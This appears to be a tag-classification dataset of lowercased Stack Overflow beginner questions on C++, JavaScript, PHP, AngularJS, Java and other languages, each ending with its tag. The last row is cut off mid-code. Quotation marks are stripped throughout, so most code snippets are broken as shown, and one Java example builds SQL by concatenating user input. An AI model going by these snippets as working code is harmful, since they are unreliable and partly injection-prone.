why is the constructor for my class not being called in this case   i am creating a new class instance like this:   <pre><code>cube* cube1; </code></pre>   there is code in the <code>cube</code> constructor  but it s not being run! is this usual,c++
js flv player fullscreen option  i am developing my custom video control using jquery    javascript. for that i choose js flv player without any control bar  so i almost developed its control bar and all the option using its listner javascript object  but now there is no full screen method in that js flv player.    any body know how can i control the full screen option  i am using the following flv player    <a href= http://flv-player.net/  rel= nofollow noreferrer >flv-player.net</a>,javascript
how to swap datatable row values   myscenario i have three rows .i want swap values of first column.how to achieve this,c#
using $http in an angularjs service  i m trying to move all my ajax from an angular controller into a service.  my code worked fine in the controller  but i can t get the same $http requests to run in the service.  when i run the following code  <code>data.tracker</code> is set to  function started  and then never changes.   <pre><code>app.service( data   function($http) {  this.tracker =  not started ;  this.loadhumanreadablenames = function() {         this.tracker =  function started ;         $http.get( http://proteomics.ysu.edu/secretomes/animal/index.php/api/get_human_readable_names/ ).         success(function(data  status  headers  config) {             this.tracker =  ajax successful ;         }).         error(function(data  status  headers  config) {             this.tracker =  ajax failed ;         });     }; });  app.controller( globalcontroller   function($scope  data) {      $scope.data = data;      $scope.initializedata = function () {         //load human readable names         data.loadhumanreadablenames();     } }); </code></pre>   any ideas    <hr>   update    majob s answer works great.  however  for modularity i generally prefer to handle data processing in my model (service) instead of in my controller.  the problem with the above code is that <code>this</code> is not available in the success and error functions.  the following will print  ajax successful :    in the service:   <pre><code>app.service( data   function($http) {  this.tracker =  not started ; var self = this;  this.loadhumanreadablenames = function() {         this.tracker =  function started ;         $http.get( http://proteomics.ysu.edu/secretomes/animal/index.php/api/get_human_readable_names/ ).         success(function(data  status  headers  config) {             self.tracker =  ajax successful ;         }).         error(function(data  status  headers  config) {             self.tracker =  ajax failed ;         });     }; }); </code></pre>,angularjs
querystring in c# web application  i have created web application.i am giving one of web page to client as api.client can pass parameter to web page like below   <pre><code>ex: www.domainname.com/testpage.aspx name=pinky&amp;city=pune&amp;number=xxxxxxxx </code></pre>   in same page testpage.aspx i am accessing/fetching querystring like below.   <pre><code>string s= request.querystring[ name ];  </code></pre>   i am not sure how client can call api.i mean to say from browser or code throught.whether client use urlencode or not     from code   <pre><code>www.domainname.com/testpage.aspx name=server.urlencode( pinky )&amp;city=server.urlencode( pune )&amp;number=server.urlencode( xxxxxxxx ) </code></pre>   will below code work   or does i need to decode if client did not use encode then decode work fine .i want user querystring value further processing and insert into table.    string s= request.querystring[ name ];,asp.net
mixing text colors in html  using html  is there any way to mix text colors according to the tags that each selection of text is inside of  this pseudocode describes the type of text color mixture that i m trying to create:   <pre><code>&lt;red&gt;     this text should be red.     &lt;blue&gt;         this text should be purple  since it is inside red and blue tags.     &lt;/blue&gt;     this text should be red.     &lt;white&gt;         this text should be pink  since it is inside white and red tags.     &lt;/white&gt; &lt;/red&gt; </code></pre>   is it possible to convert this pseudocode to valid html  so that the text colors are combined in this way,html
beginner  python  if statement <pre><code>num=float(raw_input( enter a number:  )) if num &lt;0:     print  -  elif num&gt;0:     print  +  else:     print  0  </code></pre>   this is a simple example from one book. it works fine  but i have a question  how to make that this program would see that i m entering a letter instead of a number  it works just fine if i m using numbers  but if i m entering a letter  the program crashes. i understand that when a program gets a raw input  it needs to check if it is a number or another symbol  but i just don t know what the simplest solution would be,python
how to create xml by php for soap for the below format  i am trying to integrate the shipment creation with some wsdl i have to create the xml according to below xml     below is the format for the xml   <pre><code>&lt;soapenv:envelope xmlns:soapenv= http://schemas.xmlsoap.org/soap/envelope/  xmlns:tem= http://tempuri.org/  xmlns:pos= someurl &gt; &lt;soapenv:header/&gt; &lt;soapenv:body&gt; &lt;tem:shipment_creation&gt; &lt;tem:shipinfo&gt; &lt;!--conditional:-&gt; &lt;pos:appointmentdate&gt; if customer has given exact date for delivery&lt;/pos:appointmentdate&gt; &lt;!--conditional:--&gt; &lt;pos:appointmentfromtime&gt; from time &lt;/pos:appointmentfromtime&gt; &lt;!--conditional:--&gt; &lt;pos:appointmenttotime&gt; to time&lt;/pos:appointmenttotime&gt; &lt;!--conditional:--&gt; &lt;pos:cashondelivery&gt; amount of cash on delivery&lt;/pos:cashondelivery&gt; &lt;!--conditional:--&gt; &lt;pos:cashondeliverycurrency&gt; currency of cash on delivery&lt;/pos:cashondeliverycurrency&gt; &lt;pos:clientinfo&gt; &lt;!--required:--&gt; &lt;pos:codestation&gt; posta account station code &lt;/pos:codestation&gt; &lt;!--required:--&gt; &lt;pos:password&gt; shipper account password&lt;/pos:password&gt; &lt;!--required:--&gt; &lt;pos:shipperaccount&gt; shipper account no.&lt;/pos:shipperaccount&gt; &lt;!--required:--&gt; &lt;pos:username&gt; shipper account username&lt;/pos:username&gt; &lt;/pos:clientinfo&gt; &lt;conditional&gt; &lt;pos:codecurrency&gt; currency code&lt;/pos:codecurrency&gt; &lt;!--required:--&gt;   &lt;/tem:shipment_creation&gt; &lt;/soapenv:body&gt; &lt;/soapenv:envelope&gt; </code></pre>,php
(carrierwave gem is using)rails 4 converter app text to usfm file is uploaded but unable to download the file giving error  i am new in rails  <strong>this is my controller</strong>      class postattachmentscontroller &lt; applicationcontroller       before_action :set_post_attachment  only: [:show  :edit  :update  :destroy]   <pre><code>  def index     @post_attachments = postattachment.all.paginate(page: params[:page]  per_page: 5)     @post_attachment = postattachment.new   end     def show     end      def new     @post_attachment = postattachment.new   end     def edit   end     def create     @post_attachment = postattachment.new(post_attachment_params)     respond_to do |format|       if @post_attachment.save         format.html { redirect_to @post_attachment  notice:  post attachment was successfully created.  }         format.json { render :show  status: :created  location: @post_attachment }       else         format.html { render :new }         format.json { render json: @post_attachment.errors  status: :unprocessable_entity }       end     end   end     def update     respond_to do |format|       if @post_attachment.update(post_attachment_params)         format.html { redirect_to @post_attachment.post  notice:  post attachment was successfully updated.  }         format.json { render :show  status: :ok  location: @post_attachment }       else         format.html { render :edit }         format.json { render json: @post_attachment.errors  status: :unprocessable_entity }       end     end   end     def destroy     @post_attachment.destroy     respond_to do |format|       format.html { redirect_to post_attachments_url  notice:  post attachment was successfully destroyed.  }       format.json { head :no_content }     end   end    def download     send_file  #{rails.root}/uploads/post_attachment/#{file.id}    end    private      def set_post_attachment       @post_attachment = postattachment.find(params[:id])     end      def post_attachment_params       params.require(:post_attachment).permit(:convert_t  :post_id  :avatar)     end </code></pre>   end    <strong>my show page</strong>   <pre><code> &lt;div id= mytabcontent  class= tab-content &gt;         &lt;div role= tabpanel  class= tab-pane fade in active  id= home  aria-labelledby= home-tab &gt;           &lt;div class= row &gt;           &lt;div class= col-sm-12 col-lg-6 &gt;             &lt;table class= table &gt;           &lt;thead class= thead &gt;             &lt;tr&gt;               &lt;th&gt;#&lt;/th&gt;               &lt;th&gt;file name&lt;/th&gt;               &lt;th&gt;original&lt;/th&gt;               &lt;th&gt;converted&lt;/th&gt;               &lt;th&gt;action&lt;/th&gt;             &lt;/tr&gt;           &lt;/thead&gt;            &lt;tbody class= tbody &gt;               &lt;tr&gt;                 &lt;td&gt;&lt;%= @post_attachment.id %&gt;&lt;/td&gt;                 &lt;td&gt;&lt;%= file.basename(@post_attachment.avatar.url) %&gt;&lt;/td&gt;                 &lt;td&gt;&lt;%= link_to  &lt;i class= fa fa-download &gt;&lt;/i&gt; download .html_safe  file.basename(@post_attachment.avatar.url) %&gt;&lt;/td&gt;                 &lt;td&gt;&lt;%= link_to  &lt;i class= fa fa-download &gt;&lt;/i&gt; download .html_safe  file.basename(@post_attachment.avatar.url) %&gt;&lt;/td&gt;                 &lt;td&gt;&lt;%= link_to  home   root_path  class:  btn btn-xs btn-info  %&gt;&lt;/td&gt;                &lt;/tr&gt;           &lt;/tbody&gt;         &lt;/table&gt; </code></pre>   <strong>model</strong>     class postattachment &lt; activerecord::base        mount_uploader :avatar  avataruploader        belongs_to :post     end    <strong>routes</strong>   <pre><code>rails.application.routes.draw do   resources :post_attachments   resources :posts    root  post_attachments#index    match  /uploads/:id/:basename.:extension   :controller =&gt;  post_attachments   :action =&gt;  download   via: :get </code></pre>   end,ruby-on-rails
system.net.httplistener only explicitly implements idisposable  why does httplistener explicitly implement idisposable.  this means you have to cast to idisposable before calling dispose and in my opinion makes the fact you have to call dispose less obvious.,.net
columns of type integer cannot hold values of type char  i have a table named <code>benefictor</code> in my database. when i try to insert into this table it gives me the following error:   <blockquote>    columns of type integer cannot hold values of type char and i am typing a true values in the textfields (t1 t2 ...).  </blockquote>  <pre><code>private void add_peopleactionperformed(java.awt.event.actionevent evt) {                                                // todo add your handling code here:      int bid=integer.parseint(t1.gettext());     int fid=integer.parseint(t2.gettext());     int idnum=integer.parseint(t5.gettext());     int age = integer.parseint(t14.gettext());     try{         string url= jdbc:derby://localhost:1527/spc ;         string username= issam ;         string password= issam ;         connection con=drivermanager.getconnection(url username password);         statement stmt=con.createstatement();          string query= insert into benefictor (bid fid full_name gender age idnum status original_area recent_area eval phone_number1 phone_number2 situation visit) values ( +bid+     +fid+      +t3.gettext().tostring()+       +t4.getselecteditem().tostring()+      +age+     +idnum+      +t6.getselecteditem().tostring()+       +t7.gettext().tostring()+       +t8.gettext().tostring()+       +t9.getselecteditem().tostring()+       +t10.gettext().tostring()+       +t11.gettext().tostring()+       +t12.gettext().tostring()+       +t13.gettext().tostring()+  ) ;         stmt.executeupdate(query);         joptionpane.showmessagedialog(null  a person added to database );         t1.settext(null);         t2.settext(null);         t3.settext(null);         t4.setselecteditem(0);         t5.settext(null);         t6.setselecteditem(0);         t7.settext(null);         t8.settext(null);         t9.setselecteditem(0);         t10.settext(null);         t11.settext(null);         t12.setselected(true);         t13.setselected(true);         t14.settext(null);      }     catch(sqlexception ex){         joptionpane.showmessagedialog(null  ex.tostring());     } }    </code></pre>   can anyone tell me how can i fix this   thank you.    here is the types of columns fields:    <pre><code>bid:integer fid:integer full_name:varchar gender:varchar age:integer idnum:integer status:varchar orifinal_area:varchar recent_area:varchar eval:varchar phone_number1:integer phone_number2:integer situation:varchar visit:varchar </code></pre>   the <code>status</code>  <code>gendre</code>  <code>eval</code> are all comboboxes. <code>visit</code> and <code>situation</code> are checkboxes,java
how to add a textfield dynamically after clicking a button in iphone  how to add a textfields dynamically on clicking the button     when clicking on the button textfield should appear with scrollview.    can anyone explain me how to do,iphone
overriding javascript function in a webview  i want to integrate an existing website into my webview but also override a javascript function that exists on this website with my own version  then i can use the java-javascript bridge.  i have tried using the following but it seems to execute the function only   <pre><code>webview.setwebviewclient(new webviewclient() {   @override   public void onpagefinished(webview view  string url) {     super.onpagefinished(view  url);     webview.loadurl( javascript: (function myfunc() {           +  alert( overriden alert ha! );          +  })() );   } }); </code></pre>,android
how to retrive different mp3 file from given in different key in plist file   i beginner of iphone. i have taken plist file in that i have define below code..   <pre><code>&lt;key&gt;animalsound&lt;/key&gt;     &lt;array&gt;         &lt;string&gt;africanwilddog.mp3&lt;/string&gt;         &lt;string&gt;anteater.mp3&lt;/string&gt;         &lt;string&gt;baboon.mp3&lt;/string&gt;         &lt;string&gt;bat.mp3&lt;/string&gt;         &lt;string&gt;bear.mp3&lt;/string&gt;         &lt;string&gt;bison.mp3&lt;/string&gt;         &lt;string&gt;blackpanther.mp3&lt;/string&gt;     &lt;/array&gt;  &lt;key&gt;birdsound&lt;/key&gt;     &lt;array&gt;         &lt;string&gt;albatross.mp3&lt;/string&gt;         &lt;string&gt;antilleangrackle.mp3&lt;/string&gt;         &lt;string&gt;arcticloon.mp3&lt;/string&gt;         &lt;string&gt;beeeater.mp3&lt;/string&gt;         &lt;string&gt;beltedkingfisher.mp3&lt;/string&gt;         &lt;string&gt;bittern.mp3&lt;/string&gt; &lt;/array&gt; </code></pre>   so  <strong>how different key retrive from plist file</strong> for that purpose i have used below code..   <pre><code>-(ibaction)onclicksound:(id)sender {         path=[[nsbundle mainbundle]pathforresource:@ animalfile  oftype:@ plist ];         dict=[nsdictionary dictionarywithcontentsoffile:path];         animalaudio=[pathdata valueforkey:@ animalsound ];         nslog(@ animalaudio:%@  animalaudio);         selectanimalaudio=[animalaudio objectatindex:currentsound];         nsstring *soundpath=[[nsbundle mainbundle]pathforresource:selectanimalaudio oftype:@ mp3 ];         nslog(@ selectaudio:%@  selectanimalaudio);         nslog(@ selectpath:%@  soundpath);           avaudioplayer *audioplayer=[[avaudioplayer alloc]initwithcontentsofurl:[nsurl fileurlwithpath:soundpath]  error:null];         self.audiosound=audioplayer;         [audioplayer release];          [audiosound play];         nslog(@ audioplayer:%@  audioplayer); } </code></pre>   but when i run this code. it gives run time error of    <blockquote>    terminating app due to uncaught exception    nsinvalidargumentexception   reason:  <em>*</em> -[nsurl   initfileurlwithpath:]: nil string parameter  and selectpath:(null)  </blockquote>   so  give me any suggestion and source which is helpful in my apps...,objective-c
what benefits or disadvantages would importing a module that contains  import  commands   if i were to create a module that was called for example <code>imp_mod.py</code> and inside it contained all (subjectively used) relevant modules that i frequently used.    would importing this module into my main program allow me access to the imports contained inside <code>imp_mod.py</code>     if so  what disadvantages would this bring      i guess a major advantage would be a reduction of time spent importing even though its only a couple of seconds saved...,python
test if contents of string array are in string  i m currently hardcoding testing if a file extension is in a string.    my hardcode way with one extension is   <pre><code>var extension = /(\.txt)$/i;  var testfile =  mytest.txt ;  alert(extension.test(testfile));  </code></pre>   i plan to make this database driven and sent the file extensions in a comma separated list.    how can i parse a comma separated list and test if my string extension is in that list    <pre><code>var testfile =  mytest.txt  var validextensions =  xlsx txt csv ; </code></pre>,javascript
how to name a selector which may generate an error   i am having trouble with naming my selector  which accepts a single parameter: a pointer to a pointer to an nserror instance. what is the best practice of doing that     right now i have something like:   <pre><code>- (void)loadcontentifneededandgenerateerror:(nserror **)error; </code></pre>   but it doesn t look like a good way to name a selector.,objective-c
best practice for php float usage  i ve read the <a href= http://floating-point-gui.de/languages/php/ >floating-point guide</a> about using the float type in php. the answer is using the bc math extension. using strings can represent the float as an exact type and prevent float and integer issues.     meanwhile i haven t found any good examples on github and this site working with the bc math extension. what is a clean way to force php to use strings  how to evaluate them      especially what is the best way to use the bc math extension with mysql decimal data types     my example test with php 5.4.10  the right answer is: 0.2999999999996   <pre><code>&lt; php bcscale(13);  $a =  0.3 ; $b =  0.0000000000004 ;  echo $a-$b; // 0.3 echo  &lt;br /&gt; ; echo bcsub($a  $b); // 0.2999999999996 echo  &lt;hr /&gt; ;  $a =  0.3 ; $b =  0.0000000000004 ;  echo $a-$b; // 0.3 echo  &lt;br /&gt; ; echo bcsub($a  $b); // 0.2999999999996 echo  &lt;hr /&gt; ;  $a = 0.3; $b = 0.0000000000004;  echo $a-$b; // 0.3 echo  &lt;br /&gt; ; echo bcsub($a  $b); // 0.3000000000000 echo  &lt;hr /&gt; ;  $a =  0.3 ; $b =  0.0000000000004  + 0;  echo $a-$b; // 0.3 echo  &lt;br /&gt; ; echo bcsub($a  $b); // 0.3000000000000 echo  &lt;hr /&gt; ;  $a = (string) 0.3; $b = (string) 0.0000000000004;  echo $a-$b; // 0.3 echo  &lt;br /&gt; ; echo bcsub($a  $b); // 0.3000000000000 echo  &lt;hr /&gt; ;  $a = strval(0.3); $b = strval(0.0000000000004);  echo $a-$b; // 0.3 echo  &lt;br /&gt; ; echo bcsub($a  $b); // 0.3000000000000  &gt; </code></pre>,php
angular js navigation from login page to dashboard page  i have a login.html and dashboard.html. login.html contains the login form and i want users to go to dashboard.html after successful login.    the problem: login.html is not a view so we can t use routes to navigate to dashboard.html. but i want to maintain the angular control over both files.  how can i do that. shall i same ng-app on both files.    currently: i am using:    <pre><code>window.location.href= http://sid.dev/dashboard.html ; </code></pre>   please guide the best way for doing so.,angularjs
how can i generate a single page pdf file with array of images in ios   i need to generate a pdf file file with array of image i have tried so many types of code but i am not getting the solution can any body help me please.    i tried below code.   <pre><code>- (void)createpdfwithimagesarray:(nsmutablearray *)array andfilename:(nsstring *)filename { nsarray *paths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes); nsstring *documentsdirectory = [paths objectatindex:0]; nsstring *pdfpath = [documentsdirectory stringbyappendingpathcomponent:[nsstring stringwithformat:@ %@.pdf  filename]];  uigraphicsbeginpdfcontexttofile(pdfpath  cgrectzero  nil); for (uiimage *image in array) {     // mark the beginning of a new page.     uigraphicsbeginpdfpagewithinfo(cgrectmake(0  0  image.size.width  image.size.height)  nil);      [image drawinrect:cgrectmake(0  0  image.size.width  image.size.height)]; } uigraphicsendpdfcontext(); } </code></pre>   but it is not helpful to me.,ios
syntax check using a subset of c  i want to build a web based service that lets the user input some c code that the server will then compile and run and return results.  i know  i know  security nightmare.  so maybe i could go with chroot or lxc or something like that.  there are good posts on stackoverflow about those.  another option is to use programming contest software.      what i am doing isn t for general programming purposes though.  users will be able to add code to a few stub functions and that is it.  they don t need to be able to use pointers or arrays or strings.  they shouldn t be able to open/close/read/write files or sockets or shared memory.  they can t even create their own functions.  they should only be able to do the following:   <pre><code>// style comments /* */ style comments declare variables of type int  double  float  int64_t  int32_t  uint64_t  uint32_t for  while  do +  -  *  /  % arithmetic operators ( * as dereference is not allowed ) ( ) +  - unary operators ++  -- operators math functions like sin  cos  abs  fabs  etc a bunch of api functions that will exist switch  case  break { } if  else  ==  != =  +=  -=  *=  /=  etc </code></pre>   is there a tool i can use to check a given chunk of c code to make sure it contains only those elements     if i can t find an existing solution i can use antlr or something similar to come up with it myself.,c
parse $_server[ argv ] into a single array  best method   i need to parse the $_server[ argv ] array into a single array.    i can decide how to get the parameters.     so for example the script was called like this: <code>php script.php name:jack operation:full</code>    i get the parameters in $_server[ argv ] like this:   <pre><code>array (     [0] =&gt; script.php     [1] =&gt; name:jack     [2] =&gt; operation:full_res ) </code></pre>   how can i easily move those parameters into one array that would be like this:    $param :   <pre><code>array([ name ] =&gt; jack [ operation ] =&gt; full_res) </code></pre>,php
sum query...once again having trouble with  so i ve asked a question like this before  and i guess i just didn t understand the answer (although the answer worked) to input the answer into this next problem    easy query. i m pulling employee  date  totalhrs. out of a timecard program per employee. what i m looking for is a sum of totalhrs colum but also to display all the timecard s submitted. so the code i use now   <pre><code> select date totalhrs sum(totalhrs)   from tcardsubmit   where employee=  employee name    order by date </code></pre>   this code displays    <pre><code>|employee | date        | totalhrs | sum(totalhrs) | myname  | myfirstdate |     5    |     10 </code></pre>   what i want it to display is all the timecards that a specific employee has entered. not just the one link. so in  myname  i would have 3 timecards where the sum does in fact equal 10 hours submitted for the week. the sum works for the math. i just can t seem to get it to display all the timecards that employee has entered. here is what i want it to look like   <pre><code>|employee | date         | totalhrs | sum(totalhrs) | myname  | myfirstdate  |     5    |     10 | myname  | myseconddate |     4    |     10 | myname  | mythirddate  |     1    |     10 </code></pre>,sql
how to replace specific windows username path with the user running  so what i want to do is make a username in a path be whatever user it is running under.    so for example  if the windows user i was running this program under was named bob  then i want to make the file on bob s desktop. and not the one set to in the code.    i tried to explain it as well as possible  thanks.   <pre><code>#include &lt;fstream&gt; #include &lt;ostream&gt;  using namespace std;  int main() {   std::ofstream fs( c:\\users/sample_username/desktop/omg it works.txt ); //makes the text file   fs&lt;&lt; testing this thing! ; //writes to the text file   fs.close();   return 0; } </code></pre>   i am using code::blocks if that helps at all.,c++
checking for item in std::vector<std::vector<std::string>> using std::find  i have the following object   <pre><code>std::vector&lt;std::vector&lt;std::string&gt;&gt; vectorlist; </code></pre>   then i add to this using    <pre><code>std::vector&lt;std::string&gt; vec_tmp; vec_tmp.push_back(strdrg); vec_tmp.push_back(strlab); if (std::find(vectorlist.begin()  vectorlist.end()  vec_tmp) == vectorlist.end())     vectorlist.push_back(vec_tmp); </code></pre>   the <code>std::vector&lt;std::string&gt;</code>s contained <code>vectorlist</code> are only ever 2-dimensional and there are no duplicates. this works great  but i now only want to check if <code>vectorlist</code> contains an item that index zero equal to the current <code>strdrg</code>. in c# i would not even be thinking about this  but this does not seem straight forward using c++. how can i find if a vector exists in <code>vectorlist</code> where <code>strdrg</code> already exists in <code>vectorlist.at(i)[0]</code>     <em>note: i can use boost.</em>,c++
mysql create table with best method <ul> <li>i have customer table</li> <li>i have article table</li> <li>i have distribution article table</li> </ul>   i want to send 1 article to all the customers. in distribution table. now we are adding duplicate rows for each article with customer id.    how can we avoid this  if we make customers as column  new customer added always we need to alter the distribution table.,mysql
"backward animation on pure javascript in the slider  how to make  that when you click on the next slide  the animation starts with the current slide. also when the button is back. when we reach the last slide and click on the next slide  the first slider moves next.    <strong>it is necessary to make(on pure js) a slider as a  single item  <a href= http://kenwheeler.github.io/slick/  rel= nofollow noreferrer >here</a></strong>    how to make  that when you click on the next slide  the animation starts with the current slide. also when the button is back. when we reach the last slide and click on the next slide  the first slider moves next.    how to make  that when you click on the next slide  the animation starts with the current slide. also when the button is back. when we reach the last slide and click on the next slide  the first slider moves next. the slider should work on any number of images from 1 to 10.    when you click on the right control (arrow) of the slider  when the slider reaches the last image  the first image should also go to the right. wrong option: the slider scrolls to the left until the first image.    if you click many times on the slider during the animation  the slides should not be switched until the animation ends. for example: if i click 20 times on the control (arrow) of the slider during the animation - nothing happens. when the animation was over and i clicked 21 times - the slide switched to the next one.    when you click on the point at the bottom of the slider  i must go to the corresponding. slide. if the current slide is the one i clicked on  nothing should happen.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var slideindex=0;
 showslides(slideindex);
 
 function plusslides(n){
  showslides(slideindex += n);
 }
 
 function currentslide(n){
  showslides(slideindex = n);
 }
 
 function showslides(n){
  var i;
  var slides = document.getelementsbyclassname( picture );
  var myslides = document.getelementsbyclassname( myslides );
  var dots = document.getelementsbyclassname( dot );
 
  if(n &gt; slides.length){
   slideindex = 1;
  }
  console.log(slides.length);
  if(n &lt; 1){
   slideindex = slides.length;
  }
  for(i=0; i &lt; dots.length; i++){
   dots[i].classname = dots[i].classname.replace( active    );
  }
  if(n == 1){
   var t = 0;
  } if (n == 2) {
   var t = 1
  } if (n ==3) {
   var t = 2
  }
  function animate(options) {
 
   var start = performance.now();
 
   requestanimationframe(function animate(time) {
    // timefraction от 0 до 1
    var timefraction = (time - start) / options.duration;
    if (timefraction &gt; 1) timefraction = 1;
 
    
    var progress = options.timing(timefraction)
 
    options.draw(progress);
 
    if (timefraction &lt; 1) {
     requestanimationframe(animate);
    }
 
   });
  }
  animate({
   duration: 2000 
   timing: function(timefraction) {
    return timefraction;
   } 
   draw: function(progress) {
    myslides[0].style.marginleft = progress * (-1000) * t +  px ;
   }
  });
  console.log(slideindex);
  dots[slideindex-1].classname+=   active ;
 
 }</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.slidershow-container{
  max-width: 1000px;
  position: relative;
  margin: auto;
  overflow: hidden;
  height: 350px;
 }
 .prev  .next{
  cursor: pointer;
  position: absolute;
  top: 50%;
  width: auto;
  margin-top: -22px;
  padding: 16px;
  color:white;
  font-weight: bold;
  font-size: 18px;
  transition: 0.6s ease;
  border-radius: 0 3px 3px 0;
 }
 .next{
  right: 8px;
  border-radius: 3px 0 0 3px;
 }
 .prev:hover  .next:hover{
  background-color: rgba(0 0 0 0.8);
 }
 .myslides{
  text-align: center;
  max-height: 700px;
  width: 3000px;
  margin-left: 0px;
  height: 505px;
 }
 .picture {
     display: block;
     width: 1000px;
     float: left;
 }
 img {
     width: 1000px;
     height: 350px;
 }
 .numbertext {
  display: inline;
 }
 .dot{
  cursor: pointer;
  height: 13px;
  width: 13px;
  margin: 0 2px;
  background-color: #bbb;
  border-radius: 50%;
  display: inline-block;
  transition: 0.6s ease;
 }
 .active  .dot:hover{
  background-color: #717171;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html lang= en &gt;
 &lt;head&gt;
  &lt;meta charset= utf-8 &gt;
  &lt;title&gt;document&lt;/title&gt;
  &lt;link rel= stylesheet  href= css/style.css &gt;
 &lt;/head&gt;
 &lt;body&gt;
  &lt;div class= slidershow-container &gt;
   &lt;div class= myslides &gt;
    &lt;div class= picture &gt;&lt;img style= background-color: black;  src=  &gt;&lt;/div&gt;
    &lt;div class= picture &gt;&lt;img style= background-color: #ff4b5a;  src=  &gt;&lt;/div&gt;
    &lt;div class= picture &gt;&lt;img style= background-color: #36ff31;  src=  &gt;&lt;/div&gt;
   &lt;/div&gt;
   &lt;a onclick= plusslides(-1)  class= prev &gt;&amp;#10094&lt;/a&gt;
   &lt;a onclick= plusslides(1)  class= next &gt;&amp;#10095&lt;/a&gt;
  &lt;/div&gt;
  &lt;br&gt;
  &lt;div style= text-align:center; &gt;
   &lt;span class= dot  onclick= currentslide(1) &gt;&lt;/span&gt;
   &lt;span class= dot  onclick= currentslide(2) &gt;&lt;/span&gt;
   &lt;span class= dot  onclick= currentslide(3) &gt;&lt;/span&gt;
 
  &lt;/div&gt;
  &lt;div class= div &gt;&lt;/div&gt;
 
 
 &lt;script type= text/javascript  src= js/script.js &gt;&lt;/script&gt;
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",javascript
objective-c should i be using nserror and why presenterror function not working  i am creating an application on iphone where i am taking code written and java and translating into objective-c  as the app must work similarly in both android and iphone. now problems of course are there are certain areas where the languages differ quite a bit  and can be difficult to implement just right.    one of the areas where it is of course different is you cannot create nsmutablearrays or nsmutabledictionaries which only accepts objects of a certain type. so when i am creating the getters and setters for these objects  i have been doing this  example below:   <pre><code>  -(void)setperson:(nsmutablearray *)personlist_p     {         bool ballowed = yes;         for(int i = 0; i &lt; [personlist_p count]; i++)         {             if(![[personlist_p objectatindex:i] iskindofclass:[person class]])             {                 ballowed = no;                 break;             }             else             {                 ballowed = yes;             }         }          if(ballowed)         {         personlist_i = personlist_p;         }         else         {         //raise error here         }     } </code></pre>   now originally i was using nsraise exception  but after doing reading up on it  it recommends against this as exception handling is resource intensive and should not be used for this type of situation. so nserror i read was a good solution  so i was reading up on this guide   <blockquote>    <a href= http://www.cimgf.com/2008/04/04/cocoa-tutorial-using-nserror-to-great-effect/  rel= nofollow >http://www.cimgf.com/2008/04/04/cocoa-tutorial-using-nserror-to-great-effect/</a>  </blockquote>   my question is two fold  if i decide to use nserror should  is it best practice to declare the nserror object in the method  i.e like this   <pre><code>-(void)setperson:(nsmutablearray *)personlist_p : (nserror **)error </code></pre>   or is it okay just to declare the error within the else statement above  like this   <pre><code> nserror *error = nil;          nsmutabledictionary* details = [nsmutabledictionary dictionary];                 [details setvalue:@ invalid object passed into array  object must be of type person.  forkey:nslocalizeddescriptionkey];                 error = [nserror errorwithdomain:@ invalid object  code:200 userinfo:details];                 nslog(@ %@   [error localizeddescription]); </code></pre>   secondly  in the guide i linked above  in the conclusion the author says   <blockquote>    in this example  i am checking to see if the error is still nil after   my message call. if it is no longer nil i know that an error occurred   and that i need to display it to the user. apple provides a built in   method to do this with a call to presenterror: on the nsapplication   instance  </blockquote>   and he uses this line of code here   <pre><code>[nsapp presenterror:error]; </code></pre>   this does not work for me  i do not get an autocomplete option with this code  just says use of undeclared identifier. am i missing something obvious here     also  just to be sure  is the method i am using  the best method to go about ensuring the user sends in an array with the correct object types  or is there another method which could be used which would achieve the same thing but in a more efficient manner.    thanks in advance!!    edit:    additional question  would it be such a bad idea to use nsexception  as the problem with nserror is the app carries on  i am considering having it so if they do pass in an array with an invalid object  that it does just cause the application to crash and raise an exception. is there any major reason why i shouldn t do this,objective-c
monitoring and chaning scroll position in angular.js  i m trying to access the scroll position of a div in angular.js but i can t figure out how.    this is what i have so far:   <pre><code>.directive( chatbox   function() {     return {         restrict:  a           link: function(scope  element  attrs) {             element[0].scrolltop = 200;             console.log(element);         }     } }); </code></pre>   html:   <pre><code>&lt;div chatbox style= overflow: scroll; height:200px;  overflow-x: hidden; scrolltop: 100  &gt; &lt;/div&gt; </code></pre>   should this not change the scroll position on start up,angularjs
dynamic matrix and dynamic values into matrix  this is my code - i init my own values (1 or 0) into a defined matrix. instead of setting always a hardcoded matrix i want the user to set values and the dimantions of the matrix  scanf( %d %d   &amp;height  &amp;width); and after building the matrix to initscan his value scanf( %d   &amp;vall);    please help me with this i never done something dynamic this way and dont know how to load dynamix matrix with dynamic values straight from the user please show me your syntax for this so i could learn.   <pre><code>printf( how many row :  ); scanf( %d   &amp;nrow);  rowptr = malloc(sizeof(int) * nrow);  printf( how many column :  ); scanf( %d   &amp;ncol); </code></pre>   thank you   <pre><code>#include &lt;stdio.h&gt; #define width 50 #define height 20  void init(int board[][width]  int rows) {     int x  y;     for (y = 0; y &lt; rows; y++)         for (x = 0; x &lt; width; x++)             board[y][x] = 0;     /* scatter some live cells: */     board[10][25] = 1;     board[10][26] = 1;     board[10][27] = 1;     board[11][25] = 1;     board[12][26] = 1; } </code></pre>,c
changing a program to an object oriented design  i need help rearranging a program i have to use classes constructors methods...so on. it s a game of battleships. i m not too clear on what classes and constructors and methods i d need.   <pre><code> import java.util.scanner;  public class battleshiplab {      scanner input = new scanner(system.in);     public static final boolean debug = false;      public static void breakln() {         system.out.println( _____________________________________ );         system.out.println(  );     }      public static void createboard(string[][] board) {         for (string[] board1 : board) {             for (int c = 0; c &lt; board[0].length; c++) {                 board1[c] =  ~ ;             }         }     }      public static void showboard(string[][] board) {         breakln();         for (string[] board1 : board) {             if (debug == true) {                 for (int c = 0; c &lt; board[0].length; c++) {                     system.out.print(    + board1[c]);                 }                 system.out.println(  );             } else {                 for (int c = 0; c &lt; board[0].length; c++) {                     if (board1[c].equals( s )) {                         system.out.print(    +  ~ );                     } else {                         system.out.print(    + board1[c]);                     }                 }                 system.out.println(  );             }         }         breakln();     }      public static void createship(string[][] board  int size) {         if (math.random() &lt; 0.5) {             int col = (int) (math.random() * 5);             int row = (int) (math.random() * 7);             for (int i = 0; i &lt; size; i++) {                 board[row][col + i] =  s ;             }         } else {             int col = 